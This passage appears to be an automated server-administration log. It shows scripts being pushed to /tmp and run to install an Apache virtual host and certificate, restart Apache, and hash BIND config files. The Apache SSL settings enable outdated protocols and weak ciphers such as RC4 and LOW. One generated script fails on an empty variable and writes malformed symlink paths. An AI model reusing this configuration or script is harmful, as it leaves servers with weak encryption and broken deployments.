elif [ -d "/etc/ssl/certs" ]; then
	cp $temp_file /etc/ssl/certs/$TARGET
	echo dir=/etc/ssl/certs
else
	echo dir=
fi

rm $temp_file


2026-05-08 14:12:51: 

chmod 755 /tmp/pkp686008; /tmp/pkp686008; rm /tmp/pkp686008

2026-05-08 14:12:51: 


dir=/etc/ssl/certs


2026-05-08 14:12:51: 

PUT: /tmp/pkp206258

#!/bin/bash
temp_file=$(mktemp)
BASE=/etc/apache2
BASENAME=pjy_home_us.conf
TARGET=/etc/apache2/sites-enabled/pjy_home_us.conf
DOCROOT=
PUBLIC=

cat > $temp_file <<'----boundary-6506b6c63ab0478b95fb419cca0e56fb----'

<VirtualHost *:80>
    ServerName	home.pjy.us
    ServerAdmin	do_not_email@example.com
    DocumentRoot	/var/www/pjy_home/public
    <Directory /var/www/pjy_home/public>
        Options	+FollowSymLinks -MultiViews
        AllowOverride	All
        Require	all granted
    </Directory>
    
    RewriteEngine	On
    RewriteCond	%{REQUEST_METHOD} !POST
    RewriteRule	^/?(.*) https://%{SERVER_NAME}/$1 [R=302,L]
    
    CustomLog	/var/log/apache2/pjy/home_access.log combined
    ErrorLog	/var/log/apache2/pjy/home_error.log
    SetEnv pkp_uid	4
    SetEnv pkp_owner	phil
</VirtualHost>

<VirtualHost *:443>
    ServerName	home.pjy.us
    ServerAdmin	do_not_email@example.com
    SSLEngine	on
    SSLProtocol	all -SSLv2
    SSLCipherSuite	ALL:!ADH:!EXPORT:!SSLv2:RC4+RSA:+HIGH:+MEDIUM:+LOW
    SSLCertificateFile	/etc/ssl/certs/1ab41bf0e070e7b006d494c7605f9dcb
    DocumentRoot	/var/www/pjy_home/public
    <Directory /var/www/pjy_home/public>
        Options	+FollowSymLinks -MultiViews
        AllowOverride	All
        Require	all granted
    </Directory>
    
    CustomLog	/var/log/apache2/pjy/home_secure_access.log combined
    ErrorLog	/var/log/apache2/pjy/home_secure_error.log
    SetEnv pkp_uid	
    SetEnv pkp_owner	
</VirtualHost>



----boundary-6506b6c63ab0478b95fb419cca0e56fb----

chmod 644 $temp_file

cd $BASE
cp -f $temp_file $TARGET
rm $temp_file
if [ $DOCROOT != "-" ]; then
	mkdir -p 
	mkdir -p $DOCROOT/$PUBLIC
	chown -R : $DOCROOT
	ln -s "..//etc/apache2/sites-enabled/pjy_home_us.conf" "$BASE/sites-enabled/$BASENAME" > /dev/null 2>&1
	echo 'link(/etc/apache2/sites-enabled/pjy_home_us.conf)= /etc/apache2//etc/apache2/sites-enabled/pjy_home_us.conf'
	echo 'file(/etc/apache2//etc/apache2/sites-enabled/pjy_home_us.conf= 1'
fi


2026-05-08 14:12:52: 

chmod 755 /tmp/pkp206258; /tmp/pkp206258; rm /tmp/pkp206258

2026-05-08 14:12:52: 


/tmp/pkp206258: line 60: [: !=: unary operator expected




STDERR:
/tmp/pkp206258: line 60: [: !=: unary operator expected


2026-05-08 14:12:52: 

PUT: /tmp/pkp569151

#!/bin/bash
if [ -f "/usr/sbin/apachectl" ]; then
	/usr/sbin/apachectl graceful
fi 
if [ -f "/usr/local/opt/httpd/bin/httpd" ]; then
	export HOMEBREW_NO_INSTALL_FROM_API=1
	brew services restart httpd

fi
echo .

2026-05-08 14:12:52: 

chmod 755 /tmp/pkp569151; /tmp/pkp569151; rm /tmp/pkp569151

2026-05-08 14:12:52: 


AH00558: apache2: Could not reliably determine the server's fully qualified domain name, using 127.0.1.1. Set the 'ServerName' directive globally to suppress this message
.




STDERR:
AH00558: apache2: Could not reliably determine the server's fully qualified domain name, using 127.0.1.1. Set the 'ServerName' directive globally to suppress this message


2026-05-08 14:12:53: Establishing a connection
2026-05-08 14:12:53: 

PUT: /tmp/pkp123443

#!/usr/bin/php
<?php

// What files are being used by Bind, and what are their contents?
//   php's token_get_all() makes this fairly quick

	$directory = '/etc/bind';
	ob_start('ob_gzhandler');
	parseFile('named.conf');
	ob_end_flush();

function parseFile($filename, $parse = TRUE) {
	global $directory;
	if ($filename[0] != '/') $filename = realpath($directory . '/./' . $filename);
	$hash = md5_file($filename);
	echo "MD5({$filename})= {$hash}\n";

	if ($parse) {
		$content = "<?php\n" . file_get_contents($filename);
		$tokens = token_get_all($content);
		$i = 0;
		parseGroup($tokens, $i);
	}
}

function unQuote($value) {
	$ch = $value[0];
	if ($ch == '"' || $ch == "'") {
		if (substr($value, -1) == $ch) {
			$value = substr($value, 1, -1);
		}
	}
	return $value;
}

function addEntry(&$current) {
	global $directory;
	if (count($current)) {
		switch($current[0]) {
			case 'include':
				$filename = unQuote($current[1]);
				parseFile($filename);
				break;
			case 'directory':
				$directory = unQuote($current[1]);
				break;
			case 'file':
				$filename = unQuote($current[1]);
				parseFile($filename, FALSE);		// Resource File - do not parse
				break;
		}
	}
	$current = [];
}

function ParseGroup($tokens, &$i) {
	$current = [];
	$c = count($tokens);
	while ($i < $c) {
		$token = $tokens[$i];
		if (is_array($token)) {
			$token_name = $token[0];
			$token_data = $token[1];	// [2] = line number
		} else {
			$token_name = -1;
			$token_data = $token;
		}
		switch ($token_name) {
			case -1:
				if ($token_data == ';') {			// end of statement
					$i++;
					addEntry($current);
				} elseif ($token_data == '{') {		// group
					$i++;
					ParseGroup($tokens, $i);
				} elseif ($token_data == '}') {		// end of group
					addEntry($current);
					return;
				}
			case T_OPEN_TAG:
			case T_WHITESPACE:
			case T_COMMENT:
				break;
			case T_DNUMBER:		// 127.0 / .0 / .1
			case T_LNUMBER:
			case T_CONSTANT_ENCAPSED_STRING:
			case T_STRING:
			case T_INCLUDE:
				$current[] = $token_data;
				break;
		}
		$i++;
	}
	addEntry($current);
}

2026-05-08 14:12:53: 

runuser -l bind -s /bin/bash -c '/tmp/pkp123443; rm /tmp/pkp123443'

2026-05-08 14:12:53: 


MD5(/etc/bind/named.conf)= 6df494defbd381f8bc9d76ff6611ba09
MD5(/etc/bind/named.conf.options)= 35371f62b8a2d54eb399121839293544
MD5(/etc/bind/named.conf.local)= db0633477b3a98066efe74cd0403f07a
MD5(/var/cache/bind/0299c0c61c7ba070834ba2dd758c9c51.conf)= 0fd08353130bb23e9ce3de6623e547cd
MD5(/var/cache/bind/0299c0c61c7ba070834ba2dd758c9c51.txt)= 03d4462705df3e3b3447b5e03d69e033
MD5(/var/cache/bind/25162dac9ffbcb0be59287b7a9bde7f4.conf)= f3bc075b289ef11a7e7fb9730ce45981
MD5(/var/cache/bind/25162dac9ffbcb0be59287b7a9bde7f4.txt)= db46afa1eaf0998e2096010ff5922625
MD5(/var/cache/bind/54524ffc708f1919654eee3e8e8e8adb.conf)= 229439ac891c563fbf452cfb5b8d8082
MD5(/var/cache/bind/54524ffc708f1919654eee3e8e8e8adb.txt)= 46011b4de1a60b584e110c9275cf58d9
MD5(/var/cache/bind/265e805c99c946847c9512ae0a2f1979.conf)= c7d0f7caaf6c7c9b22c53150d660da6d
MD5(/var/cache/bind/265e805c99c946847c9512ae0a2f1979.txt)= 05cb0d9a8acaeec415f02a2878e47e99
MD5(/var/cache/bind/94cdb93348589672ae2f4f7d5cf38aba.conf)= 92f5ac0b53170f78cd90b11433e00c90
MD5(/var/cache/bind/94cdb93348589672ae2f4f7d5cf38aba.txt)= b18383b98052efd1f1c0c13416f7da2a
MD5(/var/cache/bind/695c92f1e52b32224b4afd59cf37d6f1.conf)= cf96c96f1d1461ee0e72fa2288f69183
MD5(/var/cache/bind/695c92f1e52b32224b4afd59cf37d6f1.txt)= 41be792e22df23608316bdc6d5c02ebb
MD5(/var/cache/bind/a9ce89f9cbbf500822cbde90492a4b59.conf)= e25d9cd35ad127e670a08c38380f80dd
MD5(/var/cache/bind/a9ce89f9cbbf500822cbde90492a4b59.txt)= 8978877eb7bb428bb9b1624fd66866df
MD5(/var/cache/bind/1a70a64890644d614d006709f4d07011.conf)= 78daa950362f6df7200d4f288d8fcc24
MD5(/var/cache/bind/1a70a64890644d614d006709f4d07011.txt)= 2beac4b9c680af375d0427d0ec122336
MD5(/var/cache/bind/76868f6e068adf5f82f053b795932883.conf)= c08670467eff145eb677c7be4fedd002
MD5(/var/cache/bind/76868f6e068adf5f82f053b795932883.txt)= 292b467eca3f6f3e89b5906332d932ee
MD5(/var/cache/bind/b64ede8e027cbe0b900c74b7dad61fc6.conf)= 4fc4049398e3e9ef0d00161bec61b8a9
MD5(/var/cache/bind/b64ede8e027cbe0b900c74b7dad61fc6.txt)= e373146ad3409ae00911c19a196aba0c
MD5(/var/cache/bind/a6604325e1e95bb658a4876ded716488.conf)= 5738a9fc0adb6f630b2fd1631f76ebc3
MD5(/var/cache/bind/a6604325e1e95bb658a4876ded716488.txt)= b7fd8090ad0c758abe1b81ce7342fe27
MD5(/var/cache/bind/c23c0a067c65fe695faa3f188e27944c.conf)= a7b88255b74138f72d534f4bd4a55f78
MD5(/var/cache/bind/c23c0a067c65fe695faa3f188e27944c.txt)= 4c65be2cf42d7b01dff25648a30e0d60
MD5(/var/cache/bind/0a6ad15e551aafb493c6806effeddcf2.conf)= 6ee0aac8bac1e71e0fc3ba188fbd759d
MD5(/var/cache/bind/0a6ad15e551aafb493c6806effeddcf2.txt)= 55b92b69ce255778373fb680dec3d692
MD5(/var/cache/bind/7695e2001b9158b46e53b17c49af86b5.conf)= d22959f1a2d9d7cb2536df3503919289
MD5(/var/cache/bind/7695e2001b9158b46e53b17c49af86b5.txt)= c85eeca80d19efbde6476aaa5e378f89
MD5(/var/cache/bind/063b25bf16976ce1a2c836785c63433d.conf)= 92a9f7b58f0a8f65037161a776a507b8
MD5(/var/cache/bind/063b25bf16976ce1a2c836785c63433d.txt)= 3350c32974ffbafe079a7b2e988461c6
MD5(/var/cache/bind/e3a645e9cd9a48a14dd8493b70d9eeb7.conf)= a96b4420934b504593fd2f5230424614
MD5(/var/cache/bind/e3a645e9cd9a48a14dd8493b70d9eeb7.txt)= d2257a98a9302b66c20561308c19fdcf
MD5(/var/cache/bind/62fb2e372bc0a32115fbc83c762f20b5.conf)= 6eb5284adbf5d232feb60f6e1ab6df01
MD5(/var/cache/bind/62fb2e372bc0a32115fbc83c762f20b5.txt)= c6b705f7647f89b3a921503db37fea1e
MD5(/var/cache/bind/9b1deba5ba095e87244f37a8e3f127c3.conf)= b0e44b79d08ff8aa48029941ec628f8a
MD5(/var/cache/bind/9b1deba5ba095e87244f37a8e3f127c3.txt)= a264743f8f159ddddb0eaa504acd179f
MD5(/var/cache/bind/32d4fd93b17a2291b23647ec24f8da21.conf)= 6c13dfa5be1a030d5ad674727b3a6ca7
MD5(/var/cache/bind/32d4fd93b17a2291b23647ec24f8da21.txt)= 8c06d62e3637a8428b0366618cf3abd7
MD5(/var/cache/bind/de5342f930e16cce802d35118a2fa8d3.conf)= 69ba71a6df7b67c48ee48d439825b9b8
MD5(/var/cache/bind/de5342f930e16cce802d35118a2fa8d3.txt)= 87d8872c527a1698c0cbfdfec95dfb04
MD5(/var/cache/bind/6f67b388e6765da580018fda67333d25.conf)= 015688087db895d82fc3eb3b9e11c692
MD5(/var/cache/bind/6f67b388e6765da580018fda67333d25.txt)= d1e1050a45218d8a317ce20cd873bddd
MD5(/var/cache/bind/9c176806fc238e21c915b63d0649fc22.conf)= befba77b0345213ef42b7d5fff304d70
MD5(/var/cache/bind/9c176806fc238e21c915b63d0649fc22.txt)= 64a0bc30bde19c19f61dce2d34ba9f4d
MD5(/var/cache/bind/1e54f6c33ee3ca2eea403fca319b0ee4.conf)= 57e8151924225ca0e8e775f7c467fc0e
MD5(/var/cache/bind/1e54f6c33ee3ca2eea403fca319b0ee4.txt)= 25d0956113a097d2916fee42bd2d5ce8
MD5(/var/cache/bind/2debffd89b49e0229c33680cd8802ecb.conf)= 4a0086432eb4e2adea559c1ce5927665
MD5(/var/cache/bind/2debffd89b49e0229c33680cd8802ecb.txt)= 5750103aa360655e27676ee5092b77ef
MD5(/var/cache/bind/7be199ed365109a6d40950ee59d1f556.conf)= 1f311b8a6182eeca1501eba415974cdc
MD5(/var/cache/bind/7be199ed365109a6d40950ee59d1f556.txt)= c53c26bd24bdda2d1ee3d779b0ccd0a8
MD5(/var/cache/bind/eebb27648fd2a6fb3ddcc9ab90e7112b.conf)= 603b053e96cc535f2b53b4f94c071b02
MD5(/var/cache/bind/eebb27648fd2a6fb3ddcc9ab90e7112b.txt)= ee53ca31f66425c94bab4f49e8a21876
MD5(/var/cache/bind/1f505a75628761de494a35ab69db20dd.conf)= 97c8d1c1c45d4c3d55a30acba462715e
MD5(/var/cache/bind/1f505a75628761de494a35ab69db20dd.txt)= 6e0a1be9573427f3aecbcd2f457e6ca9
MD5(/var/cache/bind/88c5638dfb94d699fd48b1feb9d60cff.conf)= a5c1273a2ca448bbb92c7203a6f0c24e
MD5(/var/cache/bind/88c5638dfb94d699fd48b1feb9d60cff.txt)= 2657621e2763f175c78568a13a3b4254
MD5(/var/cache/bind/a4eb3fca977ca6015dcdbcabf7d11d48.conf)= f8bf0700dac5c8c4919aecf3da123f92
MD5(/var/cache/bind/a4eb3fca977ca6015dcdbcabf7d11d48.txt)= 2a8dec65e632ef023e1ae1037f9a8eb8
MD5(/var/cache/bind/3c5ac3f042be6256f4781cbc416678be.conf)= 549f08df0180e98c4a822c8ff0213408
MD5(/var/cache/bind/3c5ac3f042be6256f4781cbc416678be.txt)= 9cb7121349a3447b15a4f1444864be56
MD5(/var/cache/bind/c0f3c184d08b11c006e309fb0115bdd6.conf)= 83cee68b971fca76ad57abcf7ea79435
MD5(/var/cache/bind/c0f3c184d08b11c006e309fb0115bdd6.txt)= bfa28a357931b8963fc3db9342c27396
MD5(/var/cache/bind/5228c1dbadd38e40039230194a4f9e79.conf)= ddffa1884914311387168172feda086c
MD5(/var/cache/bind/5228c1dbadd38e40039230194a4f9e79.txt)= ffa7f2c861e2579237365beb35c65328
MD5(/var/cache/bind/a991f2a33195300884cfb80603e68095.conf)= fc499b7bcc4f7bd1d4827357adb45e7d
MD5(/var/cache/bind/a991f2a33195300884cfb80603e68095.txt)= cdfc7d29f0f9da0d7cb4cc1c627d340e
MD5(/var/cache/bind/3c4b5f94d47374f5ce45f7155d4ae5a8.conf)= 6282a18418d86f206e2410aae573926a
MD5(/var/cache/bind/3c4b5f94d47374f5ce45f7155d4ae5a8.txt)= da8d99880c0b4f5d1158902abf4cf39a
MD5(/var/cache/bind/35d18abc44b089ffa23e3e2f0807ece6.conf)= f8bc6a67efbdb504a5f85f3787175120
MD5(/var/cache/bind/35d18abc44b089ffa23e3e2f0807ece6.txt)= ce97f4641bfe8d4826b6d44097672165
MD5(/var/cache/bind/40b78c826a55a9eeca31786e0586fee9.conf)= 9c469d124b973a0c48a7084a48df07ed
MD5(/var/cache/bind/40b78c826a55a9eeca31786e0586fee9.txt)= ebf08621122375f56f22c7d207713b37
MD5(/var/cache/bind/93997bd832de09ba4e56713eaa81d340.conf)= f89894bce93149ef3a0ee72cf3b46a92
MD5(/var/cache/bind/93997bd832de09ba4e56713eaa81d340.txt)= a7ff8245b49d737356e14402ef69e0b4
MD5(/var/cache/bind/320b669d287ba63741ff57cf3e690770.conf)= fff6889b13905b5a22a0a280541beb17
MD5(/var/cache/bind/320b669d287ba63741ff57cf3e690770.txt)= 2557fbb1b0ce22dfcad39f117fb5d836
MD5(/var/cache/bind/11674aee41a9cabe2304d659e10b5dd0.conf)= 6e60a6f4a772f19624e54937eadf00e0
MD5(/var/cache/bind/11674aee41a9cabe2304d659e10b5dd0.txt)= 12ec6f783d6ac3bdd3f9d6921b1ba27a
MD5(/var/cache/bind/0766fc100eec8a6853d7ddbdaedbb9bf.conf)= 4aa3a1169a84c53167ee8dcce6128883
MD5(/var/cache/bind/0766fc100eec8a6853d7ddbdaedbb9bf.txt)= ff229c913624671483309b6b5a233790
MD5(/var/cache/bind/05b92d9466be1ff60f99171b12b904c0.conf)= b35e87166fa75b0eecbabb2958595374
MD5(/var/cache/bind/05b92d9466be1ff60f99171b12b904c0.txt)= 9dbcf27730c478ead28397cbef193659
MD5(/var/cache/bind/d15154fdc73f852a93983b8efa978ccd.conf)= 370ad953107dab595a234500850414cb
MD5(/var/cache/bind/d15154fdc73f852a93983b8efa978ccd.txt)= 1f5511319facf6dd7179e0ee9cac0c65
MD5(/var/cache/bind/ffb28d26a57997ceef6aa88af3ca2eb1.conf)= 41dfde821e6536d01c57049ace3f0fa8
MD5(/var/cache/bind/ffb28d26a57997ceef6aa88af3ca2eb1.txt)= 3b9749b3aa1d39b252fd354cb1d30abc
MD5(/var/cache/bind/c92f7952a5e58a40373c6ea0395bbe60.conf)= aa0c41a8f288d69eeb16567b5e0aec56
MD5(/var/cache/bind/c92f7952a5e58a40373c6ea0395bbe60.txt)= 0cc05ded4f42eaa5e3a66f7466b55045
MD5(/var/cache/bind/69d0916aecf832c706b4d0e9097de457.conf)= 0c12e9548e598ad77eff62d2c68142b2
MD5(/var/cache/bind/69d0916aecf832c706b4d0e9097de457.txt)= 215db2579062c3dd4bf7e5ed22982e75
MD5(/var/cache/bind/9102cebf40552256181ade1b5794bce9.conf)= 9c40952b0c50507ea64d4480409cb2e8
MD5(/var/cache/bind/9102cebf40552256181ade1b5794bce9.txt)= a144f5668b70541e3def64047fe02b6c
MD5(/var/cache/bind/916eb0791d6219f551785c0d0cdb6551.conf)= 51e286d25a9fbd96f007a7084de18dd9
MD5(/var/cache/bind/916eb0791d6219f551785c0d0cdb6551.txt)= 100f002295ca521d3ac0f418694f3c7d
MD5(/var/cache/bind/3d2ec12df06edc90dfcd3e90b9defc61.conf)= 622d9a736c9f30648387448aca7f497d
MD5(/var/cache/bind/3d2ec12df06edc90dfcd3e90b9defc61.txt)= 76a58050470ad602876bce6b4a5fdb65
MD5(/var/cache/bind/4e946d31d5dbbaea14c1f8a8cc65c592.conf)= 980c7a4583fe35da8df0033a57098def
MD5(/var/cache/bind/4e946d31d5dbbaea14c1f8a8cc65c592.txt)= e29c21b46b5393be06f75c34de3e6440
MD5(/var/cache/bind/f526c54ffce876cc4878737cf365bd79.conf)= 7a6022b5c53bafd967d3c9873a04bf86
MD5(/var/cache/bind/f526c54ffce876cc4878737cf365bd79.txt)= 0657908fdb73b80608db9fcde03ef46f
MD5(/var/cache/bind/03d5b5f89be357e1588146db824a75a9.conf)= 85a2b7310c5460015abddb6ef0af3a56
MD5(/var/cache/bind/03d5b5f89be357e1588146db824a75a9.txt)= 558dea320db1d773932c92910d1dbdd0
MD5(/var/cache/bind/97b02af5a57f21e16869add9e7536c63.conf)= 81f4dbaa2ef4e9abd0e967b4ad2586b2
MD5(/var/cache/bind/97b02af5a57f21e16869add9e7536c63.txt)= 7174b344b0ae3fb0d1e887f7b7a8cca1
MD5(/var/cache/bind/9ab47e96627d9522a0b8df2ee4322802.conf)= 7a7a30e25dd61c59d71673818fb4b731
MD5(/var/cache/bind/9ab47e96627d9522a0b8df2ee4322802.txt)= 4ef4e881b38eacff7ef2cb121ee2a31d
MD5(/var/cache/bind/a1c902386bae85264c8bcd7d46d289a9.conf)= 4475af152483db05440ac1bdb9e91ed8
MD5(/var/cache/bind/a1c902386bae85264c8bcd7d46d289a9.txt)= d8822ffb89db1df7c92e5994559a29f1
MD5(/var/cache/bind/1f055662da24bcf52398528dbf5a1c4f.conf)= 5f673bc37590247b80c11d0349e7039b
MD5(/var/cache/bind/1f055662da24bcf52398528dbf5a1c4f.txt)= f74085c0552a3fba6622491abdbfce06
MD5(/var/cache/bind/b77f3ffec345cac4b4296eed63420be1.conf)= ece349c6e4fb427405bbce5b5501fec7
MD5(/var/cache/bind/b77f3ffec345cac4b4296eed63420be1.txt)= 66b17acb39553d9ae5c46141fa7072cc
MD5(/var/cache/bind/7312c9cb95b4bacf912d8bac1ea438cc.conf)= 34f0d361e4a9e09f563e1b9ebb2d21db
MD5(/var/cache/bind/7312c9cb95b4bacf912d8bac1ea438cc.txt)= 2a324e4d3ddfd35539af500663112679
MD5(/var/cache/bind/6e7fd231117136482801b6740f7def61.conf)= 9896db403abe67fa779eafab3fb9c466
MD5(/var/cache/bind/6e7fd231117136482801b6740f7def61.txt)= ccc02fdb93c8840b3a79ed79d7b7ae56
MD5(/var/cache/bind/ee1ed0202e3c22ccb5dc6bbfc4c176ac.conf)= 5160486015bcb3611cd44fe96a0507f2
MD5(/var/cache/bind/ee1ed0202e3c22ccb5dc6bbfc4c176ac.txt)= 5aef34597b77b644cec7fbe4d804cae9
MD5(/var/cache/bind/82e710fb4c28419815112803356c4f79.conf)= fd0457a783720d5adbc63330db4ba29c
MD5(/var/cache/bind/82e710fb4c28419815112803356c4f79.txt)= 876777712e30357d4624f45b89f90d25
MD5(/var/cache/bind/d365b77ad7e9376e619973b277c11515.conf)= d22edaa21f398273183ddd5015d8a697
MD5(/var/cache/bind/d365b77ad7e9376e619973b277c11515.txt)= af7980c0c505a2cb9c80a6dcd33fb37d
MD5(/var/cache/bind/b579aafafbcd32ebd30996c14e2929d0.conf)= 0bb3baf9e79ad18c078b64857c5c4fef
MD5(/var/cache/bind/b579aafafbcd32ebd30996c14e2929d0.txt)= 4f2a6ba7f3a1f349813677dc835b72e3
MD5(/var/cache/bind/e0dc27e9ac6120dd4b9b149abf3e317e.conf)= 66ef6c188fde86c68238df5f0f8b1c63
MD5(/var/cache/bind/e0dc27e9ac6120dd4b9b149abf3e317e.txt)= 78845a52d60704d9f479a146f3151909
MD5(/var/cache/bind/210d2f210e4452e9446e4b9a5969250a.conf)= f58481f984dabea5d5aecf889dafd909
MD5(/var/cache/bind/210d2f210e4452e9446e4b9a5969250a.txt)= 21e91dfd8a70957d62dfd3f65c252eaf
MD5(/var/cache/bind/f9446b138d2c5ba2c536837db166189d.conf)= 41de67f9c6ff20a481de2604a5cc468c
MD5(/var/cache/bind/f9446b138d2c5ba2c536837db166189d.txt)= 3de8aa47e4be97fb0088cbc5bd4e5d00
MD5(/var/cache/bind/39a853d14cf222b11389743f34305dc2.conf)= be458f7ab43d9f713dcd9551784820da
MD5(/var/cache/bind/39a853d14cf222b11389743f34305dc2.txt)= fd0a8c652b27589f5908fcf7f1e9f6e0
MD5(/var/cache/bind/28a5e75a7da01b086708dce3eb004d3c.conf)= 9809fac7437d3482422b2fcdb2aae89f
MD5(/var/cache/bind/28a5e75a7da01b086708dce3eb004d3c.txt)= eaf427f91784f271895869ca9c1c31ab
MD5(/var/cache/bind/73c7599fdd5ae53f1a22acdec3f96f94.conf)= 97e7b02dd275ffcd326cf55868836a13
MD5(/var/cache/bind/73c7599fdd5ae53f1a22acdec3f96f94.txt)= 40b7175d2b62682e5c5caf5b86494e7c
MD5(/var/cache/bind/6cba0a95209be6ac4156e85379be0bd6.conf)= f523d5f69970191d187717079c3462cf
MD5(/var/cache/bind/6cba0a95209be6ac4156e85379be0bd6.txt)= 07d2f0972f7571a5c93312f943645728
MD5(/var/cache/bind/954ebedf55cc0740293342780846a6cd.conf)= 6640cf357a97668fe84a5e7953c321a0
MD5(/var/cache/bind/954ebedf55cc0740293342780846a6cd.txt)= 5e87428bc4cd6d266c7a77bc507057f8
MD5(/var/cache/bind/3d53240606bf6359dd62d3ebf20afc18.conf)= fa27de2710b5a788f7b06af0b88b058e
MD5(/var/cache/bind/3d53240606bf6359dd62d3ebf20afc18.txt)= fd137abd12b564c60a25d7c8ee1677ee
MD5(/var/cache/bind/cf381d1fff06090b5818429e32e6000e.conf)= 0c602ebd02403b745f34fa146858295c
MD5(/var/cache/bind/cf381d1fff06090b5818429e32e6000e.txt)= f40f6a600e6f86861c8cb4d0f14eea17
MD5(/var/cache/bind/b74ce055b83f6cfebe00ab1c0c5d2af2.conf)= eebe5ece7f3ba31853415b418c8cf9e1
MD5(/var/cache/bind/b74ce055b83f6cfebe00ab1c0c5d2af2.txt)= c980bdf14805f6ec8205412031ee5848
MD5(/etc/bind/named.conf.default-zones)= 9fbdc4657090b3b2a45f7e7b8468cf96
MD5(/usr/share/dns/root.hints)= 256a3e44f5821c498cf777dd118944a6
MD5(/etc/bind/db.local)= e5d27ead2d238928a08d33c7a7333477
MD5(/etc/bind/db.127)= 64f5cf50e8d8192109dad43b779e5e36
MD5(/etc/bind/db.0)= 43e4adb661f18a102a9c2ad1e192e825
MD5(/etc/bind/db.255)= 8aba258068c8c60a7ade3952a285f57d


2026-05-08 15:28:22: Establishing a connection
2026-05-08 15:28:30: Establishing a connection
2026-05-08 15:28:30: 

PUT: /tmp/pkp932318

#!/usr/bin/php
<?php

// What files are being used by Bind, and what are their contents?
//   php's token_get_all() makes this fairly quick

	$directory = '/etc/bind';
	ob_start('ob_gzhandler');
	parseFile('named.conf');
	ob_end_flush();

function parseFile($filename, $parse = TRUE) {
	global $directory;
	if ($filename[0] != '/') $filename = realpath($directory . '/./' . $filename);
	$hash = md5_file($filename);
	echo "MD5({$filename})= {$hash}\n";

	if ($parse) {
		$content = "<?php\n" . file_get_contents($filename);
		$tokens = token_get_all($content);
		$i = 0;
		parseGroup($tokens, $i);
	}
}

function unQuote($value) {
	$ch = $value[0];
	if ($ch == '"' || $ch == "'") {
		if (substr($value, -1) == $ch) {
			$value = substr($value, 1, -1);
		}
	}
	return $value;
}

function addEntry(&$current) {
	global $directory;
	if (count($current)) {
		switch($current[0]) {
			case 'include':
				$filename = unQuote($current[1]);
				parseFile($filename);
				break;
			case 'directory':
				$directory = unQuote($current[1]);
				break;
			case 'file':
				$filename = unQuote($current[1]);
				parseFile($filename, FALSE);		// Resource File - do not parse
				break;
		}
	}
	$current = [];
}

function ParseGroup($tokens, &$i) {
	$current = [];
	$c = count($tokens);
	while ($i < $c) {
		$token = $tokens[$i];
		if (is_array($token)) {
			$token_name = $token[0];
			$token_data = $token[1];	// [2] = line number
		} else {
			$token_name = -1;
			$token_data = $token;
		}
		switch ($token_name) {
			case -1:
				if ($token_data == ';') {			// end of statement
					$i++;
					addEntry($current);
				} elseif ($token_data == '{') {		// group
					$i++;
					ParseGroup($tokens, $i);
				} elseif ($token_data == '}') {		// end of group
					addEntry($current);
					return;
				}
			case T_OPEN_TAG:
			case T_WHITESPACE:
			case T_COMMENT:
				break;
			case T_DNUMBER:		// 127.0 / .0 / .1
			case T_LNUMBER:
			case T_CONSTANT_ENCAPSED_STRING:
			case T_STRING:
			case T_INCLUDE:
				$current[] = $token_data;
				break;
		}
		$i++;
	}
	addEntry($current);
}

2026-05-08 15:28:30: 

runuser -l bind -s /bin/bash -c '/tmp/pkp932318; rm /tmp/pkp932318'

2026-05-08 15:28:30: 


MD5(/etc/bind/named.conf)= 6df494defbd381f8bc9d76ff6611ba09
MD5(/etc/bind/named.conf.options)= 35371f62b8a2d54eb399121839293544
MD5(/etc/bind/named.conf.local)= db0633477b3a98066efe74cd0403f07a
MD5(/var/cache/bind/0299c0c61c7ba070834ba2dd758c9c51.conf)= 0fd08353130bb23e9ce3de6623e547cd
MD5(/var/cache/bind/0299c0c61c7ba070834ba2dd758c9c51.txt)= 03d4462705df3e3b3447b5e03d69e033
MD5(/var/cache/bind/25162dac9ffbcb0be59287b7a9bde7f4.conf)= f3bc075b289ef11a7e7fb9730ce45981
MD5(/var/cache/bind/25162dac9ffbcb0be59287b7a9bde7f4.txt)= db46afa1eaf0998e2096010ff5922625
MD5(/var/cache/bind/54524ffc708f1919654eee3e8e8e8adb.conf)= 229439ac891c563fbf452cfb5b8d8082
MD5(/var/cache/bind/54524ffc708f1919654eee3e8e8e8adb.txt)= 46011b4de1a60b584e110c9275cf58d9
MD5(/var/cache/bind/265e805c99c946847c9512ae0a2f1979.conf)= c7d0f7caaf6c7c9b22c53150d660da6d
MD5(/var/cache/bind/265e805c99c946847c9512ae0a2f1979.txt)= 05cb0d9a8acaeec415f02a2878e47e99
MD5(/var/cache/bind/94cdb93348589672ae2f4f7d5cf38aba.conf)= 92f5ac0b53170f78cd90b11433e00c90
MD5(/var/cache/bind/94cdb93348589672ae2f4f7d5cf38aba.txt)= b18383b98052efd1f1c0c13416f7da2a
MD5(/var/cache/bind/695c92f1e52b32224b4afd59cf37d6f1.conf)= cf96c96f1d1461ee0e72fa2288f69183
MD5(/var/cache/bind/695c92f1e52b32224b4afd59cf37d6f1.txt)= 41be792e22df23608316bdc6d5c02ebb
MD5(/var/cache/bind/a9ce89f9cbbf500822cbde90492a4b59.conf)= e25d9cd35ad127e670a08c38380f80dd
MD5(/var/cache/bind/a9ce89f9cbbf500822cbde90492a4b59.txt)= 8978877eb7bb428bb9b1624fd66866df
MD5(/var/cache/bind/1a70a64890644d614d006709f4d07011.conf)= 78daa950362f6df7200d4f288d8fcc24
MD5(/var/cache/bind/1a70a64890644d614d006709f4d07011.txt)= 2beac4b9c680af375d0427d0ec122336
MD5(/var/cache/bind/76868f6e068adf5f82f053b795932883.conf)= c08670467eff145eb677c7be4fedd002
MD5(/var/cache/bind/76868f6e068adf5f82f053b795932883.txt)= 292b467eca3f6f3e89b5906332d932ee
MD5(/var/cache/bind/b64ede8e027cbe0b900c74b7dad61fc6.conf)= 4fc4049398e3e9ef0d00161bec61b8a9
MD5(/var/cache/bind/b64ede8e027cbe0b900c74b7dad61fc6.txt)= e373146ad3409ae00911c19a196aba0c
MD5(/var/cache/bind/a6604325e1e95bb658a4876ded716488.conf)= 5738a9fc0adb6f630b2fd1631f76ebc3
MD5(/var/cache/bind/a6604325e1e95bb658a4876ded716488.txt)= b7fd8090ad0c758abe1b81ce7342fe27
MD5(/var/cache/bind/c23c0a067c65fe695faa3f188e27944c.conf)= a7b88255b74138f72d534f4bd4a55f78
MD5(/var/cache/bind/c23c0a067c65fe695faa3f188e27944c.txt)= 4c65be2cf42d7b01dff25648a30e0d60
MD5(/var/cache/bind/0a6ad15e551aafb493c6806effeddcf2.conf)= 6ee0aac8bac1e71e0fc3ba188fbd759d
